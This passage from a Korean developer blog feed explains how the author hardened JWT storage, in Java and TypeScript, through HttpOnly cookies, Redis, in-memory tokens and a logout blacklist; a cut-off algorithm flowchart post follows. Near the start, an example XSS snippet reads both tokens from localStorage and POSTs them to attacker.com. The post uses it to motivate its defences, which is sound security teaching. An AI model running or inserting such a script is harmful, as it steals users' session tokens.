// 응답 바디에 두 토큰을 모두 포함해 반환
return ApiResponse.success(new TokenResponse(accessToken, refreshToken));&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;취약점: XSS로 두 토큰 동시 탈취 가능&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 공격자가 삽입한 악성 스크립트
const stolen = {
  access: localStorage.getItem(&amp;#39;accessToken&amp;#39;),
  refresh: localStorage.getItem(&amp;#39;refreshToken&amp;#39;),
};
fetch(&amp;#39;https://attacker.com/steal&amp;#39;, { method: &amp;#39;POST&amp;#39;, body: JSON.stringify(stolen) });&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Refresh Token까지 탈취되면 만료(14일) 전까지 공격자가 새 Access Token을 계속 발급받을 수 있다. 이것이 Phase 2 전환의 출발점이었다.&lt;/p&gt;
&lt;br&gt;

&lt;h2&gt;Phase 2 — Refresh Token을 HttpOnly 쿠키로 전환&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;수명이 긴 Refresh Token부터 JS 접근이 불가능한 저장소로 옮긴다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;쿠키와 HttpOnly 쿠키의 차이&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;일반 쿠키는 브라우저가 요청마다 자동으로 첨부해주는 저장소지만, JavaScript에서 &lt;code&gt;document.cookie&lt;/code&gt;로 읽고 쓰는 것이 가능하다. XSS가 발생하면 쿠키에 저장된 값도 탈취될 수 있다.&lt;/p&gt;
&lt;p&gt;HttpOnly 쿠키는 서버가 응답 헤더에 &lt;code&gt;HttpOnly&lt;/code&gt; 플래그를 설정한 쿠키다. 브라우저는 이 플래그가 있는 쿠키를 JavaScript로 접근하는 것을 차단한다. &lt;code&gt;document.cookie&lt;/code&gt;로도 읽을 수 없고, XSS 스크립트가 삽입되더라도 해당 쿠키 값은 꺼낼 수 없다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
    subgraph A[&amp;quot;일반 쿠키&amp;quot;]
        A1[&amp;quot;JS 접근: document.cookie 가능 ✅&amp;quot;]
        A2[&amp;quot;XSS 탈취 위험: 있음 ✅&amp;quot;]
        A3[&amp;quot;요청 자동 첨부: 가능&amp;quot;]
        A4[&amp;quot;설정 주체: JS 또는 서버&amp;quot;]
    end
    subgraph B[&amp;quot;HttpOnly 쿠키&amp;quot;]
        B1[&amp;quot;JS 접근: 브라우저가 차단 ❌&amp;quot;]
        B2[&amp;quot;XSS 탈취 위험: 없음 ❌&amp;quot;]
        B3[&amp;quot;요청 자동 첨부: 가능&amp;quot;]
        B4[&amp;quot;설정 주체: 서버만 가능&amp;quot;]
    end
    A --&amp;gt;|&amp;quot;HttpOnly 플래그 적용&amp;quot;| B&lt;/code&gt;&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;왜 Refresh Token을 먼저 옮겼나?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Access Token은 수명이 1시간이지만 Refresh Token은 14일이다. 탈취됐을 때 피해 기간이 훨씬 길기 때문에 우선순위가 높았다. HttpOnly 쿠키는 서버만 읽을 수 있고 JavaScript로는 접근이 차단된다.&lt;/p&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;백엔드: ResponseCookie로 HttpOnly 쿠키 발급&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// AuthController.java — HttpOnly 쿠키 발급
ResponseCookie cookie = ResponseCookie.from(&amp;quot;refreshToken&amp;quot;, refreshToken)
    .httpOnly(true)              // JS 접근 차단
    .secure(cookieSecure)        // HTTPS에서만 전송 (로컬: false, 운영: true)
    .path(&amp;quot;/api/member/refresh&amp;quot;) // 이 경로에서만 쿠키가 자동 첨부됨
    .maxAge(Duration.ofMillis(refreshExpiry))
    .sameSite(&amp;quot;Lax&amp;quot;)
    .build();

response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

// 응답 바디에는 accessToken만 포함. refreshToken은 @JsonIgnore 처리
return ApiResponse.success(new AccessTokenResponse(accessToken));&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;프론트엔드: withCredentials로 쿠키 자동 첨부&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// api.ts — HttpOnly 쿠키 전환 후
const axiosInstance = axios.create({
  headers: { &amp;#39;Content-Type&amp;#39;: &amp;#39;application/json&amp;#39; },
  withCredentials: true, // 쿠키를 요청에 자동으로 첨부
});

// 401 수신 시 refreshToken을 직접 읽을 필요 없음, 쿠키가 자동 첨부됨
const { data } = await axiosInstance.post(&amp;#39;/api/member/refresh&amp;#39;);
// 요청 바디 없음. 서버가 쿠키에서 refreshToken을 읽어 처리&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;남은 취약점&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Refresh Token은 안전해졌지만 Access Token은 여전히 localStorage에 남아 있었다. XSS가 발생하면 Access Token 탈취는 여전히 가능하고, 만료까지 최대 1시간 동안 API를 자유롭게 호출할 수 있었다.&lt;/p&gt;
&lt;br&gt;

&lt;h2&gt;Phase 3 — Refresh Token 저장소를 PostgreSQL에서 Redis로 전환&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;빠른 조회와 TTL 자동 만료를 위해 저장소 계층을 바꾼다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;PostgreSQL과 Redis의 차이&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PostgreSQL은 디스크 기반의 관계형 데이터베이스다. 데이터가 영구적으로 저장되고 복잡한 쿼리가 가능하지만, 만료 처리를 위해서는 expire_at 컬럼을 매번 현재 시간과 비교하는 코드가 필요하다.&lt;/p&gt;
&lt;p&gt;Redis는 메모리 기반의 키-값 저장소다. 디스크를 거치지 않아 조회 속도가 O(1)로 매우 빠르고, TTL(Time To Live)을 설정하면 만료 시점에 키를 자동으로 삭제해준다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
    subgraph A[&amp;quot;PostgreSQL (ASIS)&amp;quot;]
        A1[&amp;quot;저장 위치: 디스크&amp;quot;]
        A2[&amp;quot;조회 성능: O(log n) 인덱스 검색&amp;quot;]
        A3[&amp;quot;만료 처리: expire_at 컬럼 코드로 직접 비교&amp;quot;]
        A4[&amp;quot;영속성: 영구 저장 ✅&amp;quot;]
        A5[&amp;quot;용도: 비즈니스 핵심 데이터&amp;quot;]
    end
    subgraph B[&amp;quot;Redis (TOBE)&amp;quot;]
        B1[&amp;quot;저장 위치: 메모리&amp;quot;]
        B2[&amp;quot;조회 성능: O(1) 메모리 직접 접근&amp;quot;]
        B3[&amp;quot;만료 처리: TTL 설정 → 자동 삭제 ✅&amp;quot;]
        B4[&amp;quot;영속성: 기본 휘발성 (세션 데이터에 적합)&amp;quot;]
        B5[&amp;quot;용도: 세션, 캐시, 임시 데이터&amp;quot;]
    end
    A --&amp;gt;|&amp;quot;Phase 3 전환\n이유: 빈번한 조회 + 만료 자동화&amp;quot;| B&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Redis로 옮긴 이유?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Refresh Token 재발급은 Access Token이 만료될 때마다 발생하는 빈번한 연산이다. &lt;/li&gt;
&lt;li&gt;조회가 잦고 수명이 정해진 임시 데이터이기 때문에 Redis가 더 적합하다. &lt;/li&gt;
&lt;li&gt;PostgreSQL에서 필요했던 만료 비교 코드도 TTL로 대체할 수 있어 로직이 단순해진다.&lt;/li&gt;
&lt;/ul&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;Redis 키 구조&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;auth:refresh:token:{tokenValue}  →  memberId         (TTL = 14일, 자동 만료)
auth:refresh:member:{memberId}   →  Set&amp;lt;tokenValue&amp;gt;  (다중 기기 역방향 인덱스)&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// RefreshTokenService.java
@Service
@RequiredArgsConstructor
public class RefreshTokenService {

    private static final String TOKEN_PREFIX  = &amp;quot;auth:refresh:token:&amp;quot;;
    private static final String MEMBER_PREFIX = &amp;quot;auth:refresh:member:&amp;quot;;

    private final RedisTemplate&amp;lt;String, String&amp;gt; redisTemplate;

    @Value(&amp;quot;${jwt.refresh-expiry}&amp;quot;)
    private long refreshExpiry;

    // 저장: token → memberId (TTL 설정), member Set에 token 추가 (다중 기기 지원)
    public void save(String memberId, String tokenValue) {
        redisTemplate.opsForValue().set(
            TOKEN_PREFIX + tokenValue, memberId, refreshExpiry, TimeUnit.MILLISECONDS);
        redisTemplate.opsForSet().add(MEMBER_PREFIX + memberId, tokenValue);
    }

    // 조회: TTL이 만료되면 키가 사라지므로 Optional.empty() 반환 (만료 체크 불필요)
    public Optional&amp;lt;String&amp;gt; findMemberIdByToken(String tokenValue) {
        return Optional.ofNullable(
            redisTemplate.opsForValue().get(TOKEN_PREFIX + tokenValue));
    }

    // 전체 삭제: 로그아웃 / 탈퇴 시 모든 기기 세션 종료
    public void deleteAllByMemberId(String memberId) {
        Set&amp;lt;String&amp;gt; tokens = redisTemplate.opsForSet().members(MEMBER_PREFIX + memberId);
        if (tokens != null) {
            tokens.forEach(tv -&amp;gt; redisTemplate.delete(TOKEN_PREFIX + tv));
        }
        redisTemplate.delete(MEMBER_PREFIX + memberId);
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;남은 취약점&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;저장소가 빨라졌지만 Access Token은 여전히 localStorage에 있었다.&lt;/p&gt;
&lt;br&gt;

&lt;h2&gt;Phase 4 — Access Token을 프론트엔드 메모리(tokenStore)로 전환&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;localStorage에서 완전히 벗어나 XSS로부터 Access Token을 보호한다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;localStorage와 메모리(모듈 변수)의 차이&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;localStorage는 브라우저가 관리하는 전역 저장소로, 같은 도메인의 모든 JavaScript 코드가 접근할 수 있다. XSS 공격으로 악성 스크립트가 삽입되면 &lt;code&gt;localStorage.getItem()&lt;/code&gt;으로 토큰을 그대로 읽어갈 수 있다.&lt;/p&gt;
&lt;p&gt;JavaScript 모듈 수준의 변수는 해당 모듈의 스코프 안에서만 존재한다. 다른 스크립트가 삽입되더라도 모듈 내부 변수에 직접 접근할 수 없다. 단, 페이지를 새로고침하면 변수가 초기화된다는 트레이드오프가 있다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
    subgraph A[&amp;quot;localStorage (ASIS)&amp;quot;]
        A1[&amp;quot;JS 접근 범위: 같은 도메인 모든 JS ✅&amp;quot;]
        A2[&amp;quot;XSS 탈취 위험: 있음 ✅&amp;quot;]
        A3[&amp;quot;새로고침 후 유지: 자동 유지 ✅&amp;quot;]
        A4[&amp;quot;복원 방법: 즉시 읽기 가능&amp;quot;]
    end
    subgraph B[&amp;quot;메모리 tokenStore (TOBE)&amp;quot;]
        B1[&amp;quot;JS 접근 범위: 해당 모듈 스코프만 ❌&amp;quot;]
        B2[&amp;quot;XSS 탈취 위험: 없음 ❌&amp;quot;]
        B3[&amp;quot;새로고침 후 유지: 초기화됨 ❌&amp;quot;]
        B4[&amp;quot;복원 방법: /refresh 호출로 세션 복원&amp;quot;]
    end
    A --&amp;gt;|&amp;quot;Phase 4 전환\n이유: XSS 탈취 위험 제거&amp;quot;| B&lt;/code&gt;&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;ASIS → TOBE&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ASIS: localStorage에 직접 저장
localStorage.setItem(&amp;#39;accessToken&amp;#39;, token);
const token = localStorage.getItem(&amp;#39;accessToken&amp;#39;);&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// TOBE: 모듈 수준 메모리 변수에만 보관
// tokenStore.ts
let _accessToken: string | null = null;

export const tokenStore = {
  get: () =&amp;gt; _accessToken,
  set: (token: string) =&amp;gt; { _accessToken = token; },
  clear: () =&amp;gt; { _accessToken = null; },
};&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// api.ts — tokenStore 적용
axiosInstance.interceptors.request.use((config) =&amp;gt; {
  const token = tokenStore.get(); // localStorage 대신 메모리에서 읽기
  if (token) config.headers.Authorization = `Bearer ${token}`;
  return config;
});

// 401 수신 시 새 토큰도 메모리에 저장
const { data } = await axiosInstance.post(&amp;#39;/api/member/refresh&amp;#39;);
tokenStore.set(data.data.accessToken);&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// AppContext.tsx — 앱 마운트 시 세션 복원
// 새로고침으로 메모리가 초기화되면, HttpOnly 쿠키의 Refresh Token으로 복원
useEffect(() =&amp;gt; {
  authService.refresh()
    .then(({ accessToken }) =&amp;gt; {
      tokenStore.set(accessToken);
      setIsAuthenticated(true);
    })
    .catch(() =&amp;gt; setIsAuthenticated(false))
    .finally(() =&amp;gt; setIsInitializing(false));
}, []);&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;남은 취약점&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;로그아웃 후 메모리는 즉시 비워지지만, 서버는 여전히 해당 Access Token을 유효한 것으로 처리한다. JWT는 stateless(상태 비저장) 방식이라 서버가 발급한 토큰을 일방적으로 무효화할 수 없기 때문이다.&lt;/p&gt;
&lt;br&gt;

&lt;h2&gt;Phase 5 — 로그아웃 시 Access Token을 Redis 블랙리스트에 등록&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;stateless JWT의 무효화 한계를 Redis로 극복한다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;stateless JWT의 구조적 한계&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JWT는 서버가 상태를 저장하지 않는다는 것이 핵심 설계 원칙이다. 서명이 유효하고 만료 시간이 지나지 않았다면 서버는 무조건 인증을 허용한다. 이 구조에서는 로그아웃을 해도 발급된 토큰 자체를 서버가 취소할 방법이 없다.&lt;/p&gt;
&lt;p&gt;Redis 블랙리스트는 이 한계를 우회하는 방법이다. 로그아웃 시 해당 Access Token을 Redis에 등록해두고, 이후 요청이 올 때마다 블랙리스트 여부를 먼저 확인한다. TTL을 토큰 잔여 유효 시간으로 설정하면 만료 후 자동 삭제되어 메모리 낭비 없이 운영할 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;트레이드오프: 모든 요청마다 Redis 조회가 한 번씩 추가된다. 완전한 stateless를 포기하는 대신 로그아웃 즉시 무효화를 얻는 선택이다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;백엔드: 블랙리스트 서비스 구현&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// AuthBlacklistService.java
@Service
@RequiredArgsConstructor
public class AuthBlacklistService {

    private static final String KEY_PREFIX = &amp;quot;auth:blacklist:&amp;quot;;
    private final RedisTemplate&amp;lt;String, String&amp;gt; redisTemplate;

    // 로그아웃 시 호출 — 잔여 유효 시간만큼 TTL 설정, 이후 자동 삭제
    public void blacklist(String accessToken, long remainingMillis) {
        if (remainingMillis &amp;gt; 0) {
            redisTemplate.opsForValue().set(
                KEY_PREFIX + accessToken, &amp;quot;1&amp;quot;, remainingMillis, TimeUnit.MILLISECONDS);
        }
    }

    public boolean isBlacklisted(String accessToken) {
        return Boolean.TRUE.equals(redisTemplate.hasKey(KEY_PREFIX + accessToken));
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;// JwtAuthenticationFilter.java — 토큰 검증 전 블랙리스트 먼저 확인
String token = extractBearerToken(request);
if (token != null &amp;amp;&amp;amp; blacklistService.isBlacklisted(token)) {
    // 서명이 유효하더라도 블랙리스트에 있으면 인증 거부
    response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
    return;
}
// 이후 서명·만료 시간 검증 진행&lt;/code&gt;&lt;/pre&gt;&lt;br&gt;

&lt;h2&gt;저장 방식별 비교 및 최종 선택 정리&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;5개 페이즈를 거치며 어떤 저장 방식을 왜 선택했는지, 각 방식의 장단점을 한눈에 비교한다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br&gt;

&lt;p&gt;&lt;strong&gt;Access Token 저장 위치 비교&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
    subgraph A[&amp;quot;ASIS: localStorage&amp;quot;]
        A1[&amp;quot;개념: 브라우저 전역 키-값 저장소&amp;quot;]
        A2[&amp;quot;JS 접근: 같은 도메인 모든 JS 접근 가능 ✅&amp;quot;]
        A3[&amp;quot;XSS 탈취: 위험 ✅&amp;quot;]
        A4[&amp;quot;새로고침: 자동 유지 ✅&amp;quot;]
    end
    subgraph B[&amp;quot;TOBE: 메모리 tokenStore&amp;quot;]
        B1[&amp;quot;개념: JS 모듈 스코프 내 변수&amp;quot;]
        B2[&amp;quot;JS 접근: 모듈 외부 접근 불가 ❌&amp;quot;]
        B3[&amp;quot;XSS 탈취: 안전 ❌&amp;quot;]
        B4[&amp;quot;새로고침: 초기화 후 /refresh로 복원&amp;quot;]
    end
    A --&amp;gt;|&amp;quot;전환 이유: XSS 탈취 위험 제거&amp;quot;| B&lt;/code&gt;&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;Refresh Token 전송 방식 비교&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
    subgraph A[&amp;quot;ASIS: localStorage + 요청 바디&amp;quot;]
        A1[&amp;quot;개념: JS로 직접 읽어 요청 바디에 포함&amp;quot;]
        A2[&amp;quot;JS 접근: 가능 ✅&amp;quot;]
        A3[&amp;quot;XSS 탈취: 위험 ✅&amp;quot;]
        A4[&amp;quot;CSRF 위험: 없음 (수동 전송)&amp;quot;]
        A5[&amp;quot;구현 복잡도: 낮음&amp;quot;]
    end
    subgraph B[&amp;quot;TOBE: HttpOnly 쿠키&amp;quot;]
        B1[&amp;quot;개념: 서버가 설정, 브라우저가 자동 첨부&amp;quot;]
        B2[&amp;quot;JS 접근: 불가 — HttpOnly 플래그 ❌&amp;quot;]
        B3[&amp;quot;XSS 탈취: 안전 ❌&amp;quot;]
        B4[&amp;quot;CSRF 위험: 존재 — SameSite 설정으로 완화 ⚠️&amp;quot;]
        B5[&amp;quot;구현 복잡도: 서버·클라이언트 양쪽 설정 필요&amp;quot;]
    end
    A --&amp;gt;|&amp;quot;전환 이유: 수명 14일 토큰의 JS 노출 위험 제거&amp;quot;| B&lt;/code&gt;&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;Refresh Token 서버 저장소 비교&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
    subgraph A[&amp;quot;ASIS: PostgreSQL&amp;quot;]
        A1[&amp;quot;개념: 디스크 기반 관계형 DB&amp;quot;]
        A2[&amp;quot;조회 성능: O(log n) 인덱스 검색&amp;quot;]
        A3[&amp;quot;만료 처리: expire_at 컬럼 코드로 비교&amp;quot;]
        A4[&amp;quot;영속성: 영구 저장 ✅&amp;quot;]
    end
    subgraph B[&amp;quot;TOBE: Redis&amp;quot;]
        B1[&amp;quot;개념: 메모리 기반 키-값 저장소&amp;quot;]
        B2[&amp;quot;조회 성능: O(1) 메모리 직접 접근&amp;quot;]
        B3[&amp;quot;만료 처리: TTL 설정 → 자동 삭제 ✅&amp;quot;]
        B4[&amp;quot;영속성: 기본 휘발성 — 세션 데이터에 적합&amp;quot;]
    end
    A --&amp;gt;|&amp;quot;전환 이유: 빈번한 조회 성능 + 만료 자동화&amp;quot;| B&lt;/code&gt;&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;&lt;strong&gt;로그아웃 후 Access Token 처리 비교&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;graph LR
    subgraph A[&amp;quot;ASIS: 무효화 없음&amp;quot;]
        A1[&amp;quot;방식: stateless JWT — 서버가 상태를 저장하지 않음&amp;quot;]
        A2[&amp;quot;로그아웃 후 토큰: 만료까지 유효 최대 1시간 ✅&amp;quot;]
        A3[&amp;quot;추가 비용: 없음&amp;quot;]
        A4[&amp;quot;메모리 사용: 없음&amp;quot;]
    end
    subgraph B[&amp;quot;TOBE: Redis 블랙리스트&amp;quot;]
        B1[&amp;quot;방식: 로그아웃한 토큰을 Redis에 등록 후 요청마다 확인&amp;quot;]
        B2[&amp;quot;로그아웃 후 토큰: 즉시 무효화 ❌&amp;quot;]
        B3[&amp;quot;추가 비용: 요청마다 Redis 조회 1회 추가&amp;quot;]
        B4[&amp;quot;메모리 사용: TTL = 잔여 유효 시간 → 자동 정리&amp;quot;]
    end
    A --&amp;gt;|&amp;quot;전환 이유: 로그아웃 후 탈취 토큰 악용 차단&amp;quot;| B&lt;/code&gt;&lt;/pre&gt;</description>
      <category>DEV/Web</category>
      <category>access token</category>
      <category>JWT</category>
      <category>refresh token</category>
      <category>로컬스토리지</category>
      <category>인증</category>
      <category>쿠키</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/315</guid>
      <comments>https://doinitright.tistory.com/315#entry315comment</comments>
      <pubDate>Thu, 2 Apr 2026 14:25:07 +0900</pubDate>
    </item>
    <item>
      <title>코딩 테스트 해결 방법론 플로우차트</title>
      <link>https://doinitright.tistory.com/313</link>
      <description>&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart TD
    START([문제]) --&amp;gt; Q1

    Q1{&amp;quot;노드/칸 사이를\n이동하는 문제?\nex) 미로, 지도, 네트워크&amp;quot;}
    Q1 --&amp;gt;|YES| Q1a{&amp;quot;최단 거리/비용\n을 구해야 함?&amp;quot;}
    Q1 --&amp;gt;|NO| Q2

    Q1a --&amp;gt;|YES| Q1b{&amp;quot;간선마다\n비용이 다름?\nex) 도로마다 거리 다름&amp;quot;}
    Q1a --&amp;gt;|NO| Q1c{&amp;quot;가능한 모든 경로/조합\n을 탐색해야 함?\nex) 모든 순열, N-Queen&amp;quot;}

    Q1b --&amp;gt;|YES| DIJKSTRA
    Q1b --&amp;gt;|NO| BFS

    Q1c --&amp;gt;|YES| DFS
    Q1c --&amp;gt;|NO| BFS_DFS([&amp;quot;BFS or DFS\n연결 확인, 영역 탐색&amp;quot;])

    Q2{&amp;quot;정렬된 배열에서\n값/경계를 찾아야 함?\nex) 이 값이 있나?\n최소 X 이상인 첫 위치는?&amp;quot;}
    Q2 --&amp;gt;|YES| BINARY
    Q2 --&amp;gt;|NO| Q3

    Q3{&amp;quot;최적값(최대/최소)을\n구해야 함?&amp;quot;}
    Q3 --&amp;gt;|YES| Q3a{&amp;quot;부분 결과가 반복적으로 겹침?\n= 같은 계산을 여러 번 하게 됨\nex) f(n) = f(n-1) + f(n-2)&amp;quot;}
    Q3 --&amp;gt;|NO| UNKNOWN([문제 재검토 / 유형 불명확])

    Q3a --&amp;gt;|YES| Q_DP1
    Q3a --&amp;gt;|NO| Q3b{&amp;quot;매 순간 가장 좋은 것만\n골라도 전체 최적?\nex) 동전 거스름돈, 회의실 배정\n반례가 없음을 증명 가능?&amp;quot;}

    Q3b --&amp;gt;|YES| GREEDY
    Q3b --&amp;gt;|NO| UNKNOWN

    Q_DP1{&amp;quot;무게/용량/합 제한 안에서\n최대 가치/최소 비용?\nex) 배낭에 물건 담기&amp;quot;}
    Q_DP1 --&amp;gt;|YES| KNAPSACK
    Q_DP1 --&amp;gt;|NO| Q_DP2

    Q_DP2{&amp;quot;수열에서 순서 유지하며\n가장 긴 증가/감소 부분?\nex) 탑 쌓기, 가장 긴 증가 수열&amp;quot;}
    Q_DP2 --&amp;gt;|YES| LIS_NODE
    Q_DP2 --&amp;gt;|NO| Q_DP3

    Q_DP3{&amp;quot;두 문자열/수열의\n공통 부분 최장 길이?\nex) 두 문자열의 공통 부분&amp;quot;}
    Q_DP3 --&amp;gt;|YES| LCS_NODE
    Q_DP3 --&amp;gt;|NO| Q_DP4

    Q_DP4{&amp;quot;작은 구간 결과로\n큰 구간 결과를 계산?\nex) 행렬 곱셈 순서, 괄호 묶기&amp;quot;}
    Q_DP4 --&amp;gt;|YES| INTERVAL_DP
    Q_DP4 --&amp;gt;|NO| OTHER_DP

    BFS[&amp;quot;BFS
    ──────────────
    시간복잡도: O(V+E)
    자료구조: Queue
    ──────────────
    방법: 레벨 단위 탐색
    방문 배열로 중복 차단
    ──────────────
    dist[next] = dist[cur] + 1
    ──────────────
    백준 2178 미로 탐색&amp;quot;]

    DIJKSTRA[&amp;quot;다익스트라
    ──────────────
    시간복잡도: O((V+E) log V)
    자료구조: PriorityQueue
    ──────────────
    방법: 최소 비용 노드부터 확정
    ──────────────
    dist[next] = min(dist[next],
                 dist[cur] + weight)
    ──────────────
    백준 1753 최단경로&amp;quot;]

    DFS[&amp;quot;DFS / 백트래킹
    ──────────────
    시간복잡도: O(V+E) / O(N!)
    자료구조: Stack / 재귀
    ──────────────
    방법: 깊이 우선 탐색
    조건 불만족 시 가지치기
    ──────────────
    백준 9663 N-Queen&amp;quot;]

    BINARY[&amp;quot;이분탐색
    ──────────────
    시간복잡도: O(log N)
    자료구조: 정렬 배열
    ──────────────
    방법: mid 기준으로 lo/hi 이동
    ──────────────
    while lo &amp;lt;= hi:
      mid = (lo+hi)/2
      if arr[mid] &amp;lt; target: lo=mid+1
      else: hi=mid-1
    ──────────────
    백준 1920 수 찾기&amp;quot;]

    GREEDY[&amp;quot;그리디
    ──────────────
    시간복잡도: O(N log N)
    자료구조: 정렬 배열 / PQ
    ──────────────
    방법: 정렬 후
    매 순간 최선 선택
    ──────────────
    백준 11047 동전 0&amp;quot;]

    KNAPSACK[&amp;quot;DP - 냅색
    ──────────────
    시간복잡도: O(N x W)
    자료구조: 1D/2D 배열
    ──────────────
    방법: 아이템 순회 x 용량 순회
    ──────────────
    dp[j] = max(dp[j],
            dp[j-w] + v)
    ──────────────
    백준 12865 평범한 배낭&amp;quot;]

    LIS_NODE[&amp;quot;DP - LIS
    ──────────────
    시간복잡도: O(N²) / O(N log N)
    자료구조: 1D 배열
    ──────────────
    방법: 정렬 후 이전 원소와
    대소 비교하며 갱신
    ──────────────
    dp[i] = max(dp[j] + val[i])
    if val[j] &amp;lt; val[i]
    ──────────────
    백준 2655 가장 높은 탑 쌓기&amp;quot;]

    LCS_NODE[&amp;quot;DP - LCS
    ──────────────
    시간복잡도: O(N x M)
    자료구조: 2D 배열
    ──────────────
    방법: 두 수열 동시 순회
    ──────────────
    if A[i]==B[j]:
      dp[i][j] = dp[i-1][j-1]+1
    else:
      dp[i][j] = max(dp[i-1][j],
                 dp[i][j-1])
    ──────────────
    백준 9251 LCS&amp;quot;]

    INTERVAL_DP[&amp;quot;DP - 구간 DP
    ──────────────
    시간복잡도: O(N³)
    자료구조: 2D 배열
    ──────────────
    방법: 구간 길이를
    점점 늘려가며 계산
    ──────────────
    for len 2→n:
      for i:
        j = i+len
        dp[i][j] = min/max(...)
    ──────────────
    백준 11049 행렬 곱셈 순서&amp;quot;]

    OTHER_DP[&amp;quot;DP - 기타
    ──────────────
    트리 DP: O(N)
    비트마스크 DP: O(N x 2^N)
    ──────────────
    백준 2533 사회망 서비스
    백준 2098 외판원 순회&amp;quot;]&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;상세 설명&lt;/h2&gt;
&lt;h3&gt;BFS (너비 우선 탐색)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;시간복잡도:&lt;/strong&gt; O(V+E)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료구조:&lt;/strong&gt; Queue&lt;/li&gt;
